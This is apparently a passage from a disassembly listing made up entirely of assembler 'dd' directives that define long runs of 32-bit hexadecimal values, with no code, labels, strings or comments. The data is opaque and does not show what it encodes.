		dd 0E6B05299h, 0E59DE4Eh, 5EE37BAAh, 0D380A982h, 0BE692C5Fh
		dd 0B1788198h, 15CF38DBh, 0BC34A289h, 0B8604100h, 29F99CA9h
		dd 89822300h, 4D06CDA1h, 0A63D006Fh, 91F2EC65h,	133D268Ah
		dd 0EE0839Ah, 27223F59h, 0A410A9E9h, 190067E4h,	963F8762h
		dd 1F9A7C7Eh, 0C1C6337Ah, 0ED73E2DDh, 23106029h, 0FA0EA002h
		dd 0C4FC22D8h, 0AAD322D4h, 5FF6A201h, 5C9DDFF4h, 176CB07Ah
		dd 1803E44Ah, 99EA10Fh,	4CF4D119h, 0D7AAB010h, 0FCFC4E2Eh
		dd 585F204Fh, 0B188AE9h, 4686A25Bh, 13B61402h, 5968B00h
		dd 4FE10259h, 0A284A0F8h, 32DE14E9h, 11E400A8h,	861C7B33h
		dd 8FEF004Dh, 27753D18h, 1F0762B1h, 635296F8h, 8A0EA07h
		dd 99FF0FE7h, 16B01CF8h, 3DA02223h, 7C8178E5h, 52199571h
		dd 9AACF0h, 872A4365h, 49DFB11Dh, 9B619304h, 98A4B734h
		dd 9E93B68h, 82F99713h,	8A20AB78h, 4EFFD446h, 45502012h
		dd 57003D77h, 0EA1B2E5Eh, 0D26D7DAh, 0A37C466Fh, 82F83010h
		dd 4501D844h, 0DC844D5Fh, 0C3007B84h, 0E239EB02h, 75FFC32h
		dd 0CA19770Ch, 89280CA4h, 4923DB37h, 0B0ABE089h, 0A1536206h
		dd 0B4525159h, 54A3452Ch, 0F58E8540h, 6AF301CCh, 9579A4FEh
		dd 87AD4546h, 0A82492E4h, 29A7DE02h, 5F85A404h,	87804114h
		dd 4281AD77h, 9080A758h, 591FEAA1h, 74B2EC2Ah, 0D8EE6095h
		dd 3C5C493Fh, 0F153A018h, 1907AE28h, 6E8179EBh,	90A771E0h
		dd 776A181Ch, 0A09CE847h, 0FC87182h, 0E676F70h,	8F906032h
		dd 5A023106h, 58198E41h, 46D08374h, 30138CA2h, 7B44F660h
		dd 7400937Bh, 3FCF6909h, 326D4DBBh, 0ACA00E1Fh,	882C262Ah
		dd 83627C40h, 42922477h, 0F46000F3h, 85761ACDh,	3908BF0Bh
		dd 0ACA084C7h, 660CEB40h, 11003E1Ah, 0F9019BD9h, 4B4F8D3h
		dd 26FB8219h, 457C833Bh, 58085294h, 8A688FC6h, 89A7D0A5h
		dd 3690F8DCh, 85A93F02h, 0E08B68F8h, 5C9E77F8h,	47C0602Bh
		dd 3E1F1EF5h, 9BE78600h, 0AF088F92h, 0D3761E06h, 46C509B6h
		dd 423884E0h, 696E6F12h, 0BEDF1C20h, 10D20189h,	0FE21DBB6h
		dd 40F451C5h, 0BBB211D9h, 0E8FBA450h, 50100161h, 5AF6AE55h
		dd 302D08h, 0F07A7288h,	0A86A6CB1h, 9C941F30h, 0C97343A8h
		dd 0CDF2ACB0h, 8C2B4301h, 0C2AF6FEh, 20DEC3E0h,	0CA148A20h
		dd 2240D840h, 0CEC000B4h, 120A03A9h, 267FE15Dh,	7C90DB76h
		dd 74BF8A22h, 4CAD882Bh, 0BA6E4B16h, 2030F416h,	256A3B7h
		dd 20D4148Eh, 0F466B086h, 1BF0F00h, 5D15F3E2h, 0B20800F0h
		dd 33EEAC1Dh, 492ECA44h, 9C2E6CA2h, 0DFB34F40h,	5B90001Dh
		dd 0BD3350C5h, 0ED73407Eh, 2A96B001h, 0B81FE6A0h, 0A06AC0F4h
		dd 53A88C0h, 0B9E7FD2Dh, 0D7B88C89h, 0F1F37705h, 58416B18h
		dd 0E92226F7h, 44B7930h, 0F92B9449h, 29ECE3B3h,	0FD0098A7h
		dd 3B54BFFFh, 10F79AFh,	0EC23639Ch, 2DA06075h, 0CE000E4h
		dd 796A5D1Ah, 0A7DC2451h, 0FE114064h, 8D003666h, 0DECF2DC5h
		dd 1C834978h, 4B7751A8h, 0B803AC76h, 40F16C31h,	5C6C8Ah
		dd 219AF980h, 0E1DF2Ah,	5FE2C005h, 20508381h, 0F890FC1Bh
		dd 91B7F710h, 0FA6D72C0h, 23A200E0h, 1CE5298h, 32338B10h
		dd 91EF9A4h, 0E6B824E0h, 0D4D2F4B0h, 89E29F01h,	0A693C650h
		dd 37297D4h, 56B95877h,	0CC85D8EDh, 461411A0h, 0CD669Bh
		dd 0E5944A18h, 51CBB74h
		dd 5E384122h, 7AC9030h,	0CF12DFCCh, 0C886BF9h, 40790166h
		dd 0D801C4A3h, 9080D31Ah, 0E1033BF0h, 0E2C3FF74h, 0CE26E9C1h
		dd 2300AC2Dh, 9CECAF2Bh, 2F0E6B31h, 0AFAC9D8Ah,	71250068h
		dd 0A6446DC2h, 42E801C8h, 0B287EBC7h, 1B7980B9h, 0A45F5BF3h
		dd 0D09C05EFh, 6EA7D8h,	0D97209B8h, 0B60191CCh,	6DDA2752h
		dd 7C7128ABh, 4F405C17h, 0B812945Ah, 0BB80435h,	0C01F79BCh
		dd 6DAF83ADh, 26F56700h, 0AC5FF431h, 0C2A72CBFh, 0E62B4214h
		dd 34FD8155h, 0B1F40304h, 4068B684h, 8A9F437h, 8D0E0500h
		dd 0D3F85F35h, 0B0EB1EDBh, 8B49B00Bh, 0FCB2928Ah, 83F8D600h
		dd 34B10D3Eh, 99A7EEDEh, 0DF790064h, 9EF769CEh,	52EB9D00h
		dd 9C4EE865h, 0E77B2Eh,	895E0910h, 0A0705561h, 160F9CB1h
		dd 3F250001h, 7664B4h, 47154D8Bh, 0FC8642A7h, 6FA8E506h
		dd 2E02E88h, 0CB3ED3DBh, 74FB515Fh, 2067100Eh, 4446ECCCh
		dd 0B7861FF4h, 0DB180543h, 0A788B434h, 0B38028BEh, 0AD6F3A16h
		dd 422E004Dh, 77109EE3h, 0F204751Bh, 623DA607h,	4A5FC0A4h
		dd 502848BEh, 38416C13h, 0D476ABB7h, 41E99C48h,	0C01454AAh
		dd 526A4E69h, 0F0A9A100h, 2127B1FFh, 265CB634h,	13D011C8h
		dd 0BC2239D8h, 3F2886DEh, 58A74CE1h, 1BF80980h,	6609BE27h
		dd 801C4944h, 61FAADC4h, 0D6D5071Fh, 0D0EF407Bh, 8D90CA68h
		dd 62AB4800h, 0CBCFBDCEh, 0F039702Ah, 2FD603F0h, 6754431Ch
		dd 9EE266A1h, 96C05D39h, 1541D68Ch, 5B54015Ah, 46A8F0F3h
		dd 33308C13h, 2A08ECh, 2E18E619h, 6D95DC03h, 8F135800h
		dd 17E8F897h, 29E36030h, 7A3DD04Eh, 0B41D17B0h,	0AE808E04h
		dd 0D6B7F34Bh, 0D4FA0157h, 4792974Ah, 33909E30h, 389914h
		dd 0E62C7804h, 83EFEAh,	31DC5BE9h, 968C5AC9h, 0D67EA407h
		dd 0E1609A16h, 2A1C2A55h, 1970A0F0h, 19569E72h,	590EDBACh
		dd 9949919Dh, 7FD3D519h, 77960331h, 5B158DDDh, 879E5199h
		dd 20F71F19h, 30D9A246h, 4C41474Bh, 500C4C5h, 0B8E2FEEDh
		dd 7F7050h, 9D39F31Fh, 87D3D06Bh, 147D4498h, 0C6C8E606h
		dd 0E0491637h, 6F7FEBDh, 218EA20Fh, 8F7A7189h, 3BC6755Ch
		dd 0BAD09D64h, 0F1AD1440h, 1BA7A2h, 943DAC55h, 99E54082h
		dd 91426C30h, 18EA285Ah, 0D995D6EDh, 0E8603374h, 0B0F66B71h
		dd 353007B8h, 453721h, 975936C6h, 0D708FE00h, 0F5D8754Eh
		dd 29F801C2h, 3373A1FDh, 917C58B1h, 5AEBA05h, 8FC03C3Ah
		dd 8F429h, 389DDEA2h, 7FDB1139h, 92CAFC00h, 0ADF0A776h
		dd 0D0C0AB91h, 0E2250DE5h, 60A264D4h, 5D25FE9h,	9B001313h
		dd 85665C53h, 6EA505C2h, 80A1729Ah, 1230104Ah, 0DA9231C0h
		dd 3E86191h, 0D434C7F1h, 69DE4BA3h, 0F2E21698h,	0F70E907h
		dd 399C1D25h, 0C9456074h, 0C1E03307h, 4060B11Eh, 0CC72C9C0h
		dd 0EF7F61h, 7A1AC5F0h,	76A3FA83h, 309AB407h, 8BBC1Bh
		dd 4C64F6BEh, 93CA0F2Eh, 20D24036h, 32B18C90h, 37070F90h
		dd 0AA2C14F0h, 0E43933F0h, 72CF14CCh, 4000404Ah, 0AD3DEC29h
		dd 0D63F9B8Dh, 3C04248Eh, 14787566h, 0CC7AD550h, 18C01109h
		dd 8F7B1802h, 7DF71720h, 81106033h, 40E642D0h, 74D8C500h
		dd 894DFCBEh, 0B89A00CAh, 0E48267CDh, 0D62E06D5h, 0C71934A2h
		dd 0C8F59339h, 1EBFDD30h, 989BEB53h, 2B5111CFh,	0A9F0FB14h
		dd 909D84E4h, 0FAE33C8Dh, 0E7248074h, 0FC5231h,	0E8E19946h
		dd 1F56D6F7h, 0AD2510A0h, 0EEA6C900h, 4073AA75h, 32080018h
		dd 92CB60D6h, 464DB7C6h, 41D9094Ch, 42F0215Bh, 98F21DE4h
		dd 0E2A9FC28h, 0F4FA602Dh, 31FF9A9Eh, 0A5F1D705h, 56C080DBh
		dd 1C9B06Fh, 0C4E853DAh, 4747AAF0h, 5C44F464h, 9C402792h
		dd 4D0CB92Fh, 0A2070EF9h, 3FA1CADDh, 888093F4h,	139033A0h
		dd 398C3174h, 1C7680E8h, 58795334h, 7D3EE57h, 0C817AF02h
		dd 0D9308090h, 0D2283492h, 99006055h, 0A7155294h, 756379F7h
		dd 7632311Ch, 0D0DFA931h, 0EC18CA74h, 75A156C3h, 0DCF500DAh
		dd 39FAC9EDh, 5A1EC410h, 9A806B25h, 0AA9D1359h,	34D304BDh
		dd 80184E73h, 0D5453100h, 0D6E33700h, 0DDA80564h, 53B20146h
		dd 56AB7377h, 0E760D4AEh, 0EE33751Bh, 7B4898A1h, 723F00B4h
		dd 3496EA57h, 0D700E18Dh, 0BA1799A2h, 1194205Dh, 0C62D5ECh
		dd 41EBA827h, 2CD730EDh, 0C0CB7419h, 0AF0D652h,	0E4C1A927h
		dd 5660C048h, 0B3A872h,	0BA9E2FFAh, 0DFB45812h,	4B786B0Ah
		dd 0FD8BD848h, 7EDD8109h, 90217BB9h, 98D59EC8h,	87CB085Ch
		dd 4A115295h, 49BAE400h, 24F90BA8h, 73837613h, 215FD40Dh
		dd 11940C42h, 2F20D299h, 1BF96ECh, 64683C70h, 0F4762158h
		dd 320EC69Bh, 608BCBDEh, 9D7D57BFh, 39786E95h, 8FD1234Ch
		dd 14F47700h, 7D33291Bh, 4B9A00EDh, 0F2717A87h,	0FC00B01Ch
		dd 226638E4h, 4C59FF97h, 0E12C33B8h, 0EF4200B1h, 32AF9282h
		dd 0A898FCE6h, 2E007499h, 8DC8ABE6h, 7AEA3B23h,	245AD600h
		dd 4782CA10h, 3E9A9500h, 55CCB30Bh, 0FE32006Dh,	3E3A626h
		dd 9402211Eh, 9A5EDCF3h, 0A278836Bh, 0A37AA05Fh, 0B4ED0125h
		dd 0AEFDCDC2h, 0F3CBC433h, 220E48F8h, 407619E4h, 9E6D5777h
		dd 569A22BFh, 913B5509h, 0EB4C8442h, 0A63AA840h, 162E8E10h
		dd 3B3DE49Dh, 21223024h, 0CB3DDFEDh, 4900D41h, 0CD1263EEh
		dd 0E3009638h, 0BA27C85Ch, 3F410094h, 3EB639D7h, 9A0A0DEFh
		dd 0E452689Fh, 8342AD88h, 4A6CF5CAh, 485E72E9h,	900006E8h
		dd 0C380A49Bh, 12843049h, 84BD8D3h, 9F42EF7Ch, 0E9FE40B4h
		dd 0BC3C0034h, 0DA4680A7h, 1007C9Bh, 0DE787630h, 0B820F0C7h
		dd 47949945h, 1AF3A27Ch, 0DB6F5F40h, 3D38C800h,	0D1EF0C07h
		dd 5471030Fh, 262A631Dh, 17ECF900h, 9430B2FCh, 0BF0F004Dh
		dd 73B97099h, 0F039AE6Eh, 0D91B32D1h, 64E472h, 0B7B37328h
		dd 0E9FB657Fh, 1025A20Ah, 56114811h, 1408A500h,	199F02Fh
		dd 1BD7EC0Ch, 3587828h,	4F2E91CBh, 3A0FD2ABh, 382AFAC8h
		dd 3793D99h, 9D554013h,	51515D92h, 0B4AFEE10h, 73EC0116h
		dd 47B28259h, 72ABC02Ch, 9C3CC499h, 0A8450A5Eh,	0CA0308DAh
		dd 0C0F3833Bh, 0DCB43Dh, 23CFBC10h, 788B4564h, 761D52F2h
		dd 330C9798h, 9369EAh, 109CE8FBh, 1458AF2Fh, 226BB501h
		dd 51189911h, 59C3D0h, 0B4D6ECABh, 75401C29h, 9E509D58h
		dd 0CB266600h, 1EB3E5h,	506E88B4h, 51F45F7Bh, 0C2E0820Ah
		dd 9D0B0C41h, 26741096h, 0DC852962h, 5BCA0EBCh,	7B9C1A40h
		dd 25E2CB63h, 76C619DFh, 0EA295542h, 0A2960945h, 6C124B3Ah
		dd 0CC4EC441h, 90006029h, 0A450B9BCh, 2799AE4h,	0C6FE16Ch
		dd 8844A32Ah, 0F169544h, 6A68D555h, 2FDF4060h, 0AE026D29h
		dd 53A9B17Fh, 7B4460CEh, 3C9A28D1h, 9D4B370Ch, 0CB9C4141h
		dd 0B61CE0D5h, 0EFB83000h, 7A2D59A6h, 48D07426h, 0EA2A3480h
		dd 46D8C4E0h, 76824288h, 694CC09Ah, 836F36CDh, 4709C269h
		dd 80DB42E5h, 929B6648h, 7776A6h, 1323B286h, 0CC0ECA06h
		dd 50531A0Bh, 0D2288242h, 70842992h, 4DDB61CBh,	72FF0h
		dd 0C1CDD6F6h, 176E814Fh, 976F8400h, 0F42124D2h, 7E94021Bh
		dd 57747267h, 44A80068h, 3A1C988Ah, 0ABA4002Bh,	0D2CB8A0h
		dd 570F0552h, 60B5B4D4h, 1FF09C9Fh, 0A31A00CDh,	0D7947F10h
		dd 4CA48521h, 1807B4Ch,	6BBB19A9h, 70D4725Bh, 20009811h
		dd 1B4C41FFh, 0E4ED0190h, 0A03376E3h, 18D681A6h, 0AB5C4953h
		dd 56429D01h, 5008969Ah
		dd 8FB818A9h, 0D560FDE8h, 2F3137FAh, 62DCEC80h,	1E272135h
		dd 73434859h, 651D8095h, 0C393A78h, 20F7A982h, 0B3402EC2h
		dd 0D43FCA84h, 34AB0340h, 852899Ah, 1F3CD551h, 0E0069597h
		dd 170892CEh, 1A986CAh,	726AE324h, 2E23F0DAh, 41B09655h
		dd 60AF572Eh, 0AB580F90h, 0C0E44C04h, 0E0451BF3h, 597FCA9h
		dd 353612D4h, 28F1C04Ch, 0AF18F1CBh, 0C2C157D8h, 59976B49h
		dd 8BE8813h, 9B35E12h, 0EF6BF4C1h, 0DEEC988Eh, 62CC69F9h
		dd 763C00DCh, 0EC2C070Bh, 7B73060Ch, 29222AD3h,	0AA249700h
		dd 0D2276182h, 9CDF004Dh, 5360B031h, 0A713286Eh, 4C9083FEh
		dd 912305Fh, 87E9CBDAh,	49219886h, 80A80D48h, 0A49234C9h
		dd 0D8F2E1h, 290251BCh,	0C269734Dh, 0CC684A51h,	1F00F7EFh
		dd 0C5193AAh, 30834D5Ah, 3E109640h, 0D18488Ah, 0E3319B4Bh
		dd 0E1900099h, 819FC4C2h, 4800D1B7h, 3157AD0Ah,	480AA27h
		dd 0C31625D3h, 0E03C8956h, 0E4A8181Dh, 0FB4CDCF6h, 3B9E0BACh
		dd 4C5411CBh, 0EEF1B10h, 0FE209CB0h, 5FA30524h,	803CC7C8h
		dd 55F0C1CCh, 99CC29C3h, 0F519A9Fh, 8384294Ah, 0F26FE6F9h
		dd 2AE3AA0h, 850AC802h,	8348997Ch, 19AE998h, 42B474D0h
		dd 2937E416h, 7F49002Ch, 2C02186Ah, 105672F3h, 4A512Eh
		dd 0B2BF6EA9h, 229A4FABh, 0D3095282h, 80C818EFh, 0A82FE7B0h
		dd 0B3BF048Eh, 88164AABh, 506A5624h, 76454C31h,	1014E8C4h
		dd 72F317E0h, 0D21ED030h, 7D31000Ch, 3B996478h,	3600BA63h
		dd 3E91DA82h, 60FA7924h, 0CAC478DCh, 0B450AFCDh, 0ED12D428h
		dd 4C027496h, 60DC1BCEh, 12CAE594h, 31D5AFC8h, 896E870h
		dd 0B4E4828Fh, 51EBA106h, 7B45BFFh, 0C882413Fh,	7694518Ah
		dd 0F02D32h, 0A1BBBD8Ch, 2F49CFDh, 7201AC1h, 1DC060A8h
		dd 7C90F12Eh, 0A7965502h, 79158DDBh, 92A53C78h,	10557C91h
		dd 7CD873A3h, 0EC54A041h, 12E80704h, 834A2B90h,	11120544h
		dd 5408A110h, 74068F95h, 152BC062h, 1FA94040h, 756C0F84h
		dd 6347FBEAh, 44E3B027h, 0AC9090B5h, 40DFAB28h,	439C64E5h
		dd 36D40B00h, 0D0A20CA6h, 96BF17FFh, 49870F18h,	2DD541C1h
		dd 3D1C6093h, 54401D13h, 2FBC88h, 0AEB47CA7h, 0D07B6728h
		dd 2987800h, 8BC92C68h,	424044DEh, 72CC4613h, 0B7A404D0h
		dd 4B010009h, 32C07715h, 37B0BD49h, 582C6700h, 96113AB6h
		dd 46511226h, 0CB3C0015h, 9420443Bh, 0A9398212h, 70014412h
		dd 282AF397h, 93FCD180h, 488561E6h, 767B200Bh, 726A01F4h
		dd 0CC48DD84h, 4E419042h, 0ED6C608Fh, 49C93E70h, 870C900Dh
		dd 0FF8103D7h, 378B1768h, 28A394B8h, 8A0FD201h,	9B2A62D9h
		dd 3358B82Dh, 9707A43Fh, 53521AE2h, 1112A5EFh, 58C17A18h
		dd 0A30255F3h, 0FAB3EC98h, 59E7A101h, 5518F0E2h, 71FDECE0h
		dd 443A5A99h, 4275A9ACh, 205F72CAh, 0C947C227h,	0B3770600h
		dd 4C367AA6h, 8CA6B9h, 0FFD75649h, 3285FEB6h, 8B161C90h
		dd 38D04BA2h, 0EBA6Bh, 305178F7h, 0BBE7D999h, 44B20100h
		dd 74FF1291h, 0ECC0F9D5h, 33F22EC9h, 0D04A13F4h, 7AEB8850h
		dd 2C3C6B07h, 94503A82h, 0EC7F26h, 7155C159h, 7377241Ah
		dd 13C8058h, 8B409CD6h,	0C0531533h, 1822E00Ch, 0D19F00A5h
		dd 8ACA1F3Eh, 0DCA4DE76h, 2444EA24h, 0CD385611h, 87705B80h
		dd 26FCFF48h, 0FA360100h, 8A6009A9h, 598334BBh,	31744108h
		dd 0D40E9BD4h, 6A038985h, 68FC40A5h, 4DAFA090h,	26B2F884h
		dd 40143009h, 0C0115E3Eh, 7378C400h, 0A5455F87h, 0B3341665h
		dd 0AB38201Bh, 7004884Dh, 0E642CA25h, 80F44C4h,	1417663Ah
		dd 71ED2651h, 105D40B0h, 0E58F7C7h, 0C12080A8h,	0AA8E71h
		dd 9E32A792h, 241FCA86h, 2E47BA12h, 54482004h, 0ECA5805Ch
		dd 90CFF480h, 0D8058898h, 0E8D23592h, 16994C88h, 155295h
		dd 82677988h, 76248140h, 443A0E0h, 0A04A8925h, 0DBB4ECh
		dd 0FACA2096h, 10E173A2h, 1362F71Fh, 99EFC28Bh,	7E02D644h
		dd 4884B04h, 2F440197h,	0FB799563h, 0D08404C3h,	0C220E48Eh
		dd 841539CAh, 96627909h, 88D440E4h, 7B4890B8h, 0A69C18DCh
		dd 0F2305E78h, 0F328CB20h, 8FEA9C81h, 0B4AC60C7h, 0E7C2D605h
		dd 0B83049A0h, 75392DBh, 5AFBD165h, 5BED1024h, 749867D5h
		dd 91CDAC31h, 64291733h, 67969200h, 0F1C94EB3h,	347F9300h
		dd 0EB81E5C8h, 0F2391CE4h, 42FDCF56h, 8A70AF00h, 0EA2408D8h
		dd 9C24802Fh, 9B22A89h,	4E8C8480h, 41AFF042h, 43E93884h
		dd 0E8245C9Ah, 2C34039h, 8A967D5Dh, 0F7DE52h, 4BAD9218h
		dd 6339C01Ch, 93ECC3F3h, 61A28200h, 15740ADBh, 59EB0030h
		dd 0C36264FAh, 6B7A4D43h, 44787A78h, 0DCC4ED00h, 0B4AA2E28h
		dd 630D39E0h, 942248CCh, 6096881Eh, 80F5A940h, 2FA5AD0h
		dd 0DA15E258h, 0F8900D42h, 9D005375h, 796ABE22h, 269B3A55h
		dd 8754F4ABh, 32BF466Dh, 0C0802B54h, 26E15B35h,	1A602477h
		dd 1EB31BF1h, 655700D8h, 4B7CEFDCh, 48E8EB6Ch, 0BE41576h
		dd 0C9B12F00h, 0D870121Eh, 218B073Bh, 72C4949Ah, 5CA0B0CEh
		dd 1F2635A7h, 0D6901A09h, 8F837F5Fh, 62D91E41h,	5B286020h
		dd 0C7FA7507h, 0C66010A9h, 2CF3D1A2h, 0F304DBFh, 0CB09F01Ah
		dd 7262A022h, 0FC1CCCE9h, 0E004F2Fh, 0BE5A2303h, 0DFDC8Eh
		dd 91F1A4A0h, 0A82594C2h, 125C9B49h, 8491C3EDh,	0A19C9A0Dh
		dd 0EF5040D3h, 577EA06Dh, 2AD1F601h, 0CA9B1A5Eh, 13EC49C8h
		dd 893182D5h, 352863A4h, 507050A9h, 66286Ah, 22F41D7Fh
		dd 0E3BAB7C1h, 24FA483Fh, 7489B083h, 0C050E832h, 0A33B00D9h
		dd 5ED602FCh, 0D30F9880h, 0E158CF04h, 59DCE0BDh, 27C2A023h
		dd 6466A413h, 109F7089h, 69206Ah, 0C57D9C90h, 0D8DB1E8Eh
		dd 0A0303A4Fh, 0F8BE2630h, 0AAC90038h, 8473AC65h, 0C0B64F90h
		dd 981C2789h, 8453D598h, 806E9A26h, 1B0E64Bh, 2099EC2Eh
		dd 605A9362h, 0BE599855h, 0D22F009Ch, 0EFF9E55h, 31C90D8h
		dd 0F70CAF07h, 3CC15156h, 0D6118A06h, 7214143Dh, 43FB0034h
		dd 8B8DBFF2h, 0C3282C8Eh, 98D0204Ch, 96E0724Ch,	0C0CC9F54h
		dd 2246C9C2h, 6A008657h, 5E4DEEF5h, 3D1F1FCh, 6F64835Bh
		dd 0B902F24Ah, 4BBA91CAh, 0AEA0A090h, 3BED4Dh, 756E56E0h
		dd 14A3FA45h, 1D27FC38h, 0F0C0AB34h, 0A2C8D4D3h, 1B260066h
		dd 9353EAC3h, 0AB04573Fh, 4B4E9B72h, 831E09C0h,	0EEC818ECh
		dd 9D747029h, 0AD603CB6h, 0C3868437h, 0D6A05A08h, 78E2A383h
		dd 29055C63h, 0A6A852B3h, 0DCF4B8C9h, 0DC748927h, 8200ABBDh
		dd 0C5249A92h, 7AF20Dh,	3E42DB75h, 0C2C73639h, 0EA1C4B74h
		dd 9A416B60h, 63981982h, 0DAC058CDh, 0AB51002Ah, 0A61C9F4Ah
		dd 0E403EAE7h, 0D39CB287h, 954FD055h, 8CF35CDBh, 186C4D24h
		dd 1793D1EDh, 5F001B98h, 0AB45E660h, 9057861Bh,	0B4725CE4h
		dd 0C03EC18Eh, 77290ECCh, 0A63AFDD2h, 44BC0256h, 0C1DC1F18h
		dd 0B060E826h, 239A00CAh, 491ECE54h, 9812C85Ch,	0DCB0366Eh
		dd 9F9D3D55h, 0A303F85Dh, 80E1D876h, 0F06D12E8h, 0A09532F0h
		dd 68F6D3C8h, 0FCB83886h, 0A2C34900h, 9D27CE0Dh, 86F4E00h
		dd 0C0CB7BB5h, 0E71C98BBh, 1A4F3985h, 12DB81FCh, 2569865Eh
		dd 0FC2119AAh, 245ECA2h, 0CB943E23h, 0E8A06D28h, 0E04C5240h
		dd 27007598h, 447C34Bh,	1F703693h, 5F86AAh, 46CB4D12h
		dd 0C896E281h, 68177847h, 0D34F2BB0h, 9CBE00E4h, 5ED7FDAFh
		dd 0B304C8A2h, 0AAF0316Bh
		dd 3318ECADh, 0D2CC9114h, 6D7F7703h, 8FDB1539h,	444282C8h
		dd 8A341D9h, 0D881112h,	0EC26CA7Eh, 28003498h, 5EFB1765h
		dd 1DFD02E8h, 22DEA8A7h, 665D12C0h, 2EE22D1Dh, 0FF00211Eh
		dd 0C2680603h, 4679B5h,	0C125DEC6h, 764844A1h, 70D2220Fh
		dd 0C0E7A02Dh, 3C1C20h,	96369C3Bh, 1E625DA1h, 7DC5FD00h
		dd 0BC7C4D4Fh, 69306003h, 0C2703D1Dh, 2D0B6A00h, 8F4DEDA3h
		dd 0FCA93AD6h, 9C327286h, 0BE00895Dh, 84F5A080h, 14475Ah
		dd 0FFA18715h, 7DCE1D62h, 0DB86F20Ah, 2D008752h, 0FA21DD6Ah
		dd 0AE46006Eh, 6F3F4BA0h, 757F6637h, 38E3A718h,	0A039DD11h
		dd 30CD3414h, 5D7062B5h, 4B0098CEh, 0FB7037A4h,	0AE0C19A5h
		dd 0F5411194h, 0F6300756h, 1D8059D3h, 18DD497Bh, 0C108A595h
		dd 0B70C1E76h, 18F37D0Ch, 0A80F88BFh, 3F719363h, 39590034h
		dd 0B11440E0h, 4A00D4E8h, 0FD6874FEh, 327FEDh, 62FE288h
		dd 5A5154A4h, 20DE81C7h, 0D1D39971h, 38E1EED5h,	0E54C0840h
		dd 501C5C46h, 3B927D03h, 39766BF5h, 8A327100h, 0F1D813CAh
		dd 7E87308h, 75454F55h,	0F922D07Fh, 8C086289h, 835E1635h
		dd 95DE446h, 8995C903h,	42F6B842h, 0FA509088h, 39E17F58h
		dd 69F8A1A8h, 4403311Dh, 0DD920573h, 8232A898h,	0BD2F44h
		dd 5917F0EBh, 0DD0FAC80h, 875D19C0h, 879D922h, 5848A0CFh
		dd 0B8D44A80h, 0AB2BDEFDh, 0D7589840h, 79990122h, 598F4862h
		dd 0DD442042h, 50FE5B01h, 0F58CB0Ah, 74A9996h, 11D79D0h
		dd 0DC26677Eh, 0C0008EB1h, 95778BC3h, 1CEED23Bh, 0E1CA93h
		dd 9419449Dh, 0E7039ABAh, 908B3AFEh, 120CE132h,	0DD19002Ah
		dd 0A3B01BA0h, 5EA22903h, 0C88B4D4Ch, 538BA63h,	8932CA79h
		dd 377C0054h, 4C77F547h, 9C3610C6h, 3DFD1EF9h, 74DF804Bh
		dd 76502EEEh, 93F2520Eh, 0E7C05C79h, 3688B05Fh,	1B9D0334h
		dd 7E806F03h, 7C8FD0E7h, 0B503A98Ah, 8332CD27h,	28710955h
		dd 6810261Bh, 9500BC7Dh, 33D24EE2h, 60147447h, 8AD62884h
		dd 0C8F72705h, 0DD001659h, 375CC65Dh, 1F7E162h,	0F5FAE650h
		dd 0D34D2ED5h, 2B0061C6h, 0AEC02F8Ah, 77228E29h, 95491845h
		dd 81807C40h, 0E4A64228h, 44313F28h, 0AD20AB1Eh, 67179A00h
		dd 2FF586B9h, 24F6D2D9h, 64FBE200h, 7EB5DC93h, 0E4982E45h
		dd 39360041h, 0E5F2EB2h, 9042E8A8h, 6B20AD00h, 6318C6FFh
		dd 12017752h, 203ADE0Bh, 79A0B814h, 1125EB30h, 18A2F498h
		dd 4914B295h, 70010B7Ch, 419B53DBh, 9AD90F40h, 0BB99CC50h
		dd 1A29DF16h, 0D800F9D2h, 0E3AA1128h, 1A8A240Ch, 0E51963h
		dd 7A8408C4h, 4271AD05h, 0CA809661h, 49803B58h,	19DB659Ch
		dd 0B264134h, 8C009E8Bh, 0C9C65E72h, 1B110C5Ah,	22B1373Ch
		dd 0F4400100h, 0FCA333A6h, 0B47F00BFh, 6E83B7D1h, 61E8F714h
		dd 13604249h, 4C25E7E4h, 124C1410h, 0D40035E1h,	0BEA71686h
		dd 43745C65h, 18E5EB14h, 3EBDE40Ah, 4FB6003Ch, 24178B6Fh
		dd 0AA2D7100h, 0B579487Eh, 63D90BBh, 1E28C421h,	5930313Ch
		dd 0CB64917h, 0E74202A6h, 1F40C8D3h, 8B432060h,	32631905h
		dd 0A4466494h, 0A19936h, 83084110h, 0F23F3C7Eh,	2E0A0DE0h
		dd 0C8C871DCh, 0A5849E10h, 0BD7C470Ah, 930C9DD9h, 17A820F5h
		dd 83F87AD1h, 0F34C3F70h, 82311234h, 27E09C31h,	0D5F0170Ch
		dd 6063650Ah, 76070C04h, 9D204B02h, 1FF2E213h, 2A874E3Fh
		dd 0EFB10534h, 80587282h, 0E9A54F70h, 7AB34058h, 61FD0505h
		dd 0E0553C91h, 56E70C94h, 60F519EAh, 0A8B74953h, 300E5CF1h
		dd 0C27504B6h, 64744A52h, 6BBF0190h, 0E02F7F56h, 0F41103Ch
		dd 3021DED9h, 4EBB4680h, 6CD4700h, 7FB592F1h, 1D5802E7h
		dd 0D5945FABh, 0AA7DA480h, 200090F9h, 488F54EDh, 0BE7AC10h
		dd 60690934h, 0CC562804h, 8B01E6E4h, 10A980A1h,	3DDC19BEh
		dd 9144B06Bh, 0C30EBC14h, 0BF609A0Dh, 6403FA33h, 0CB7F99C0h
		dd 0C0923572h, 0DF8F0411h, 0A6077882h, 4C3E76AEh, 0B2964690h
		dd 919C2C9Ah, 0EFDB032Ah, 90333AC0h, 0BC17E820h, 446D2F03h
		dd 6262E499h, 0C483393Ch, 351F3428h, 610CCC19h,	57F2A300h
		dd 0EBA801BAh, 4A970117h, 2C3CF8E1h, 849FA6Dh, 9D51881Dh
		dd 9B368C2Eh, 0F20046B9h, 0D2068BAh, 1612A2CEh,	72386B88h
		dd 0B12057CCh, 62426Ah,	31BEBFEEh, 160EB3C8h, 0DDE44500h
		dd 0B4D051A8h, 6BB218DCh, 0EFD4104Dh, 0A6CAC61Eh, 42A91DC0h
		dd 4CBC7231h, 8F004180h, 0BEA4E5E6h, 0C635F2Ah,	2DF569h
		dd 957AEE71h, 6C2A1B4Ah, 12777698h, 16CE995Ch, 0D8489FA7h
		dd 542DC07Fh, 360C0BD9h, 0E9675738h, 920B086h, 0E57BAC6Eh
		dd 18BC2491h, 6BD3310Fh, 0C0BD2A31h, 0D491D779h, 0A118A044h
		dd 5249AD0h, 7E600470h,	0B4CBF0h, 0EFA4124Bh, 8E9BB711h
		dd 3DB54801h, 0A46D915h, 0C17EB991h, 0B8633188h, 0C71F7882h
